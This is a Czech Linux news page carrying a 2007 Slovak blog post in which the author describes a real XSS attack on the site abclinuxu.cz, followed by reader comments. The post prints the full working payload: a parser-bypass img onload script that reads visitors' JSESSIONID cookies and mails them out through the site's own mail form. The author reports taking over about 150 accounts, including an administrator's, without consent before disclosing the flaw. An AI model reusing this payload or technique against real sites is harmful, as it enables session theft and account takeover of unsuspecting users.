Homebrew (Wikipedie), správce balíčků pro macOS a od verze 2.0.0 také pro Linux, byl vydán ve verzi 4.5.0. Na stránce Homebrew Formulae lze procházet seznamem balíčků. K dispozici jsou také různé statistiky.
Byl vydán Mozilla Firefox 138.0. Přehled novinek v poznámkách k vydání a poznámkách k vydání pro vývojáře. Řešeny jsou rovněž bezpečnostní chyby. Nový Firefox 138 je již k dispozici také na Flathubu a Snapcraftu.
Šestnáctý ročník ne-konference jOpenSpace se koná 3. – 5. října 2025 v Hotelu Antoň v Telči. Pro účast je potřeba vyplnit registrační formulář. Ne-konference neznamená, že se organizátorům nechce připravovat program, ale naopak dává prostor všem pozvaným, aby si program sami složili z toho nejzajímavějšího, čím se v poslední době zabývají nebo co je oslovilo. Obsah, který vytvářejí všichni účastníci, se skládá z desetiminutových
… více »Richard Stallman přednáší ve středu 7. května od 16:30 na Technické univerzitě v Liberci o vlivu technologií na svobodu. Přednáška je určená jak odborné tak laické veřejnosti.
Jean-Baptiste Mardelle se v příspěvku na blogu rozepsal o novinkám v nejnovější verzi 25.04.0 editoru videa Kdenlive (Wikipedie). Ke stažení také na Flathubu.
TmuxAI (GitHub) je AI asistent pro práci v terminálu. Vyžaduje účet na OpenRouter.
Byla vydána nová verze R14.1.4 desktopového prostředí Trinity Desktop Environment (TDE, fork KDE 3.5, Wikipedie). Přehled novinek i s náhledy v poznámkách k vydání. Podrobný přehled v Changelogu.
Bylo vydáno OpenBSD 7.7. Opět bez písničky.
V Tiraně proběhl letošní Linux App Summit (LAS) (Mastodon). Zatím nesestříhané videozáznamy přednášek jsou k dispozici na YouTube.
Včera (23.07.2007) o 10:00 ráno ste určite mnohí narazili na podozrivo vyzerajúci zápis do blogu s názvom KUPUJEM portal abclinuxu.cz. Jednalo sa samozrejme o hoax, za ktorý sa všetkým ospravedlňujem. Nikto síce jeho obsahu príliš neveril, avšak svoj účel splnil - prilákať čo najväčšiu pozornosť. Fakt, že zápis obsahoval zákerný JavaScript, bol pred očami všetkých (alebo väčšiny) návštevníkov skrytý.
XSS je útok založený na schopnosti útočníka vložiť do stránky nejaký kód (HTML, JavaScript prípadne oboje) pomocou speciálne formulovaného linku alebo vstupu do formulára. Veľmi bežným príkladom sú napríklad prihlasovacie formuláre, ktoré sa svojim používateľom snažia veci uľahčiť. Po vložení loginu a hesla a za predpokladu, že heslo nebude správne, nám server vygeneruje formulár s už vyplneným loginom (rovnakým, aký bol zadaný). Formulár by mohol vyzerať napríklad takto:
<form action="login.php" method="post"> <input type="text" name="login" value=""> <input type="password" name="heslo"> <input type="submit" value="Odoslat"> </form>
Ak vstup, v tomto prípade samotný login, nie je korektne ošetrený od tzv. metaznakov (úvodzovky, apostrofy, je väčšie ako, je menšie ako, ...), útočník bude schopný do stránky vložiť svoj kód. Povedzme, že do vyššie uvedeného formulára zadáme do kolonky login tento reťazec (heslo dáme ľubovoľné):
"><script>alert('hack!');</script><q q="
Server, snažiac sa ušetriť nám náš drahocenný čas, vráti prihlasovací formulár a do kolonky login doplní nami zadaný reťazec. Vznikne tým niečo takéto:
<form action="login.php" method="post"> <input type="text" name="login" value=""><script>alert('hack!');</script><q q=""> <input type="password" name="heslo"> <input type="submit" value="Odoslat"> </form>
Pre pochopenie tohto útoku je najskôr potrebné porozumieť spôsobu, akým sa prihlasovanie a následné overovanie používateľov na weboch vykonáva.
Ihneď po prihlásení nejakého používateľa mu server vygeneruje unikátny identifikátor (reťazec náhodných znakov), ktorý zašle naspäť jedným z týchto dvoch spôsobov:
Tento identifikátor (označovaný ako SESSION_ID) sa následne počas trvania sedenia používa ako akési dočasné heslo. Server si ho priradí k určitému používateľovi a _každého_, kto mu tento identifikátor zašle, považuje za daného, autentifikovaného, používateľa a povolí mu prístup na jeho konto už bez ďaľšieho zadávania loginu a hesla. Po odhlásení je SESSION_ID na strane serveru vymazané (a teda už viac nepoužiteľné).
Session hijacking (alebo 'Krádež sedenia') spočíva v zmocnení sa SESSION_ID už prihláseného používateľa. Každý, komu sa to podarí, bude vystupovať ako daný používateľ a to _bez_ nutnosti zadávať login alebo heslo.
Abclinuxu.cz sa proti XSS chráni metódou 'whitelisting': Má zoznam povolených HTML tagov a ku každému zoznam povolených argumentov. Všetko ostatné je zakázané. Jedná sa o najúčinnejšiu, avšak z programátorského hľadiska aj najzložitejšiu metódu - celý vstup je potrebné najskôr rozparsovať a následne odfiltrovať 'to zakázané', pričom treba pamätať na kopu iných detailov a drobností (ktoré sú bohužial/naštastie mimo tohto článku). Práve na spomínanom parsovaní abclinuxu zlyhalo.
Parser sa mi podarilo oklamať týmto HTML kódom:
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload="TU BOL JAVASCRIPT">>Poznámka: Obrázok musí odkazovať na existujúci súbor/URL, inak sa obsah argumentu 'onload' nevykoná.
Dôležité sú prvé dva znaky, resp. zdvojenie znaku 'je menšie ako', čo spôsobilo nesprávne vyhodnotenie argumentov tagu <IMG>. SESSION_ID som následne získal takto (na abclinuxu sa ukladá do cookie s názvom 'JSESSIONID'):
var cookie = ''; var part_num = 0; var cookie_var = document.cookie.split('; '); while (part_num < cookie_var.length) { if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') { cookie = cookie_var[part_num].split('=')[1]; break; } part_num += 1; }
Jediný problém, ktorý som v tejto chvíli musel ešte vyriešiť, bol spôsob 'dopravenia' tohto ID až ku mne. Najskôr som si ho chcel proste zaslat pomocou nejakého môjho skriptu niekde na webe (proste donútiť 'obeť' navštíviť niečo takéto: azuritov_web/skript.php?id=session_id ) avšak aby to bolo úplne transparentné, musel som na to použiť JavaScriptový 'XMLHttpRequest'. Narazil som však na problém: XMLHttpRequest sa bez výslovného povolenia od používateľa (v podobe dialógového okna vysvetlujúceho riziko) nepripojí mimo URL stránky, na ktorej JavaScript beží. Inými slovami, na zaslanie ID som mohol použiť iba skripty, ktoré boli priamo súčasťou abclinuxu. Zameral som sa teda na formulár pre odosielanie mailov, ktorý abclinuxu obsahuje. Je na ňom síce ochrana v podobe nutnosti zadať serverom vygenerovaný kód pred odoslaním mailu, avšak jeho obídenie by zvládlo aj malé dieta. Pod mojími prstami následne vznikol tento kód (trochu skrátený):
xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224'); xmlhttp.send(''); var pole = xmlhttp.responseText.split(' '); var kod = ''; var part_num = 0; while (part_num < pole.length) { if (pole[part_num] == 'hodnotu') { kod = pole[part_num+1].substring(0,4); break; } part_num += 1; } xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish'); xmlhttp.send('');
Najkôr sa pripojím na 'mailový formulár', príjmem HTML stránku vrátenú serverom a následne v nej nájdem overovací kód. Potom ho už len použijem na odoslanie mailu. A ID je moje!
Zápis v blogu som publikoval včera (23.07.2007) o 10:00 ráno pričom doslova ihneď sa mi na maili začali množiť SESSION_ID-čka rôznych ľudí. O cca 10:10 mi došlo ID Roberta Krátkeho (admin, plný prístup) a o 10:30 som JavaScript z blogu odstránil a útok tým ukončil. Ako bonus prikladám obrázky z administračného rozhrania (príloha B). Za týchto 30 minút som sa dostal na kontá cca 150tich ľudí.
Rád by som upozornil, že môj kód v žiadnom prípade nie je dokonalý. Je to prakticky len cca tretí prípad, keby som sa vo svojom živote stretol s JavaScriptom. Odpustite si preto prosím všetky poznámky smerujúce k nemu a prípadne aj jeho opravy/vylepšenia. Ďakujem. Chyba je už v tejto chvíli (dúfajme, že úplne) odstránená a všetci používatelia, ktorí v hore uvedenom čase zápis v blogu otvorili, by sa mali odhlasiť a znovu prihlásiť (vygeneruje sa im tak nové SESSION_ID, staré bude teda už nepoužiteľné).
Nakoniec som sa od Leoša dozvedel, že sa vlastne jednalo o takmer _rok_ starú dieru, ktorej sa zjavne venovalo priliš málo času a postupne upadla do zabudnutia. Viz. bug #544. Chyba sa nenachádzala priamo v abclinuxu ale v knižnici htmlparser (v ktorej bola medzičasom opravená). Leošovi tento 'prešľap' netreba mať za zlé: Má toho naozaj veľa, takže sa ani nečudujem, že sa sem-tam niečo podobné objaví. Hlavne, že sa to dobre skončilo :) .
<<img src="http://www.abclinuxu.cz/images/site2/sun14.png" alt="" width="0" height="0" onload=" var kod = ''; var cookie = ''; var xmlhttp = null; function get_mail_data() { if (xmlhttp.readyState == 4 && xmlhttp.status == 200 && xmlhttp.responseText != null) { var pole = xmlhttp.responseText.split(' '); var part_num = 0; var cookie_var = document.cookie.split('; '); while (part_num < cookie_var.length) { if (cookie_var[part_num].split('=')[0] == 'JSESSIONID') { cookie = cookie_var[part_num].split('=')[1]; break; } part_num += 1; } part_num = 0; while (part_num < pole.length) { if (pole[part_num] == 'hodnotu') { kod = pole[part_num+1].substring(0,4); break; } part_num += 1; } send_cookie(); } } function get_mail() { var failed = false; try { xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); } catch (e1) { try { xmlhttp = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e2) { xmlhttp = null; } } if (! xmlhttp) { if (typeof XMLHttpRequest != 'undefined') { xmlhttp = new XMLHttpRequest(); } else { failed = true; } } if (! failed) { xmlhttp.onreadystatechange = get_mail_data; xmlhttp.open('GET', '/Profile?action=sendEmail&uid=15224'); xmlhttp.send(''); } } function send_cookie() { var failed = false; try { xmlhttp = new ActiveXObject('Msxml2.XMLHTTP'); } catch (e1) { try { xmlhttp = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e2) { xmlhttp = null; } } if (! xmlhttp) { if (typeof XMLHttpRequest != 'undefined') { xmlhttp = new XMLHttpRequest(); } else { failed = true; } } if (! failed) { xmlhttp.open('GET', '/Mail?KOD=' + kod + '&sender=admin%40pobox.sk&cc=&bcc=&subject=' + cookie + '&message=' + cookie + '&finish=Odeslat&url=%2FProfile%2F15224&action=finish'); xmlhttp.send(''); } } get_mail(); ">>
Tiskni
Sdílej:
ze jmena bloku to bylo partné : test2
Jinak tohle je parádní blog, spíše to beru jako ukázkovou security kapitolu. V porovnání s blogy typu "Zkoušel jsem Gentoo, tak a tak...." je tohle alespoň něco pořádného.
Já bych v blocích psal samí blbosti, tak jsme s tím radči ani nezačal.
ze jmena bloku to bylo partné : test2Co je patrné? Copak nemůže být testovací zápisek v normálním blogu? Je nutné kvůli tomu vytvářet nové konto a k němu nový blog a zasírat tak abclinuxu mrtvými účty?
proste musis sa na nieco stazovat, tak si najdes hocijaku blbost.a) Proč myslíš, že si musím stěžovat? b) Nepovažuji to za blbost, proto o tom mluvím.
keby si chcel, tak to zmazat ide.Ano, technicky to možné je, ale udělat to nemůžeme, protože bychom tím smazali komentáře dalších uživatelů.
na abicku su doslova stovky nepouzivanych kont a urce velka kopa nepouzivanych blogov.A protože jich tu je spousta, tak jeden další už nevadí? Já bych raději, kdyby tu nebyly žádné nepoužívané účty a žádné nepoužívané blogy. Takže mi vadí každý další.
chces mi povedat, ze do majitela kazdeho jedneho z nich si tiez takto 'huboval' ako teraz do mna ? pochybujem o tom..No vidíš, pleteš se. Kdykoliv jsem si všiml, že někdo založil zbytečně nový účet, tak jsem ho na to upozornil a zeptal se, co ho k tomu vedlo. Kdykoliv někdo napíše požadavek, abych nějaké dva účty sloučili a ten starší (ke kterému třeba zapomněl heslo) vymazali, tak se to snažíme udělat. Takže jsem si nezasedl na tebe. Napsal bych to stejně komukoliv jinému - a nebylo by to poprvé.
Je to takový problém, že někde v DB je pár řádků navíc?Ne. Ale třeba v přehledu všech blogů to už tak jedno není.
kdybyste CHTĚLI, aby to šlo smazat (i přes to, že tam jsou komentáře), tak by to šlo. To víme oba dva.No samozřejmě, že by to technicky šlo. Ale tím bychom smazali komentáře všech těch lidí, kteří na zápisek reagovali - a proto to nemůžeme udělat. To víme oba dva, že? Já nemám nic proti zápisku, odhalení chyby v abíčku, ani proti diskuzi pod tím (naopak to oceňuji a jsem rád, že na to azurit upozornil). Mně vadí jen to, že kvůli tomu byl zbytečně založen další účet a blog.
Nemyslím, že tohle je dobré přirovnání. Hodilo by se spíše něco jako:
"Kdyby každý položil na ulici prázdnou krabici, neměl by je právě orgán k tomu pověřený sebrat a vyhodit?? I kdyby byly plné bordelu."Za předpokladu ignorování ideálního stavu neexistence nežádoucích krabic
neuvedomil si jej mozne nasledky (a vlastne preto jej nevenoval az taku pozornost, aku si 'zasluzila').Což je mimochodem hezký praktický příklad toho, proč raději než si s chybou nejdřív „pohrát“ je lepší nalezenou chybu rovnou oznámit adminovi nebo autorovi, který si asi snáz dovede dát dohromady možné následky. A to teď nemyslím jen tento konkrétní případ, ale obecně.